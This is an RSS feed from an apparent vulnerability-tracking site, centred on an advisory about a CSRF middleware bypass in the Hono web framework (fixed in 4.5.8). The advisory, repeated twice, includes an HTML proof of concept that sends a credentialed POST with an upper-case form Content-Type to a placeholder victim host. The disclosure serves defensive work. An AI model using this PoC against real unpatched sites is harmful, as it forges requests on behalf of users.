<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 21:40:58 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-159539</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-159539</link>
      <description>EUVD-2026-159539</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-159539</guid>
    </item>
    <item>
      <title>fkie_cve-2024-43787</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-43787</link>
      <description>&lt;p&gt;Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-43787</guid>
    </item>
    <item>
      <title>GHSA-rpfr-3m35-5vx5 — Hono CSRF middleware can be bypassed using crafted Content-Type header</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-rpfr-3m35-5vx5</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: hono&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Hono CSRF middleware can be bypassed using crafted Content-Type header.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.&lt;/p&gt;
&lt;p&gt;https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17&lt;/p&gt;
&lt;p&gt;As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as &amp;#34;Application/x-www-form-urlencoded&amp;#34;.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```html
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;CSRF Test&amp;lt;/title&amp;gt;
    &amp;lt;script defer&amp;gt;
      document.addEventListener(&amp;#34;DOMContentLoaded&amp;#34;, () =&amp;gt; {
        document.getElementById(&amp;#34;btn&amp;#34;).addEventListener(&amp;#34;click&amp;#34;, async () =&amp;gt; {
          const res = await fetch(&amp;#34;http://victim.example.com/test&amp;#34;, {
            method: &amp;#34;POST&amp;#34;,
            credentials: &amp;#34;include&amp;#34;,
            headers: {
              &amp;#34;Content-Type&amp;#34;: &amp;#34;Application/x-www-form-urlencoded&amp;#34;,
            },
          });
        });
      });
    &amp;lt;/script&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;CSRF Test&amp;lt;/h1&amp;gt;
    &amp;lt;button id=&amp;#34;btn&amp;#34;&amp;gt;Click me!&amp;lt;/button&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Bypass csrf protection implemented with hono csrf middleware.&lt;/p&gt;
&lt;p&gt;### Discussion&lt;/p&gt;
&lt;p&gt;I&amp;#39;m not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: hono&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Hono CSRF middleware can be bypassed using crafted Content-Type header.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.&lt;/p&gt;
&lt;p&gt;https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17&lt;/p&gt;
&lt;p&gt;As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as &amp;#34;Application/x-www-form-urlencoded&amp;#34;.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```html
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;CSRF Test&amp;lt;/title&amp;gt;
    &amp;lt;script defer&amp;gt;
      document.addEventListener(&amp;#34;DOMContentLoaded&amp;#34;, () =&amp;gt; {
        document.getElementById(&amp;#34;btn&amp;#34;).addEventListener(&amp;#34;click&amp;#34;, async () =&amp;gt; {
          const res = await fetch(&amp;#34;http://victim.example.com/test&amp;#34;, {
            method: &amp;#34;POST&amp;#34;,
            credentials: &amp;#34;include&amp;#34;,
            headers: {
              &amp;#34;Content-Type&amp;#34;: &amp;#34;Application/x-www-form-urlencoded&amp;#34;,
            },
          });
        });
      });
    &amp;lt;/script&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;CSRF Test&amp;lt;/h1&amp;gt;
    &amp;lt;button id=&amp;#34;btn&amp;#34;&amp;gt;Click me!&amp;lt;/button&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Bypass csrf protection implemented with hono csrf middleware.&lt;/p&gt;
&lt;p&gt;### Discussion&lt;/p&gt;
&lt;p&gt;I&amp;#39;m not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-rpfr-3m35-5vx5</guid>
    </item>
  </channel>
</rss>
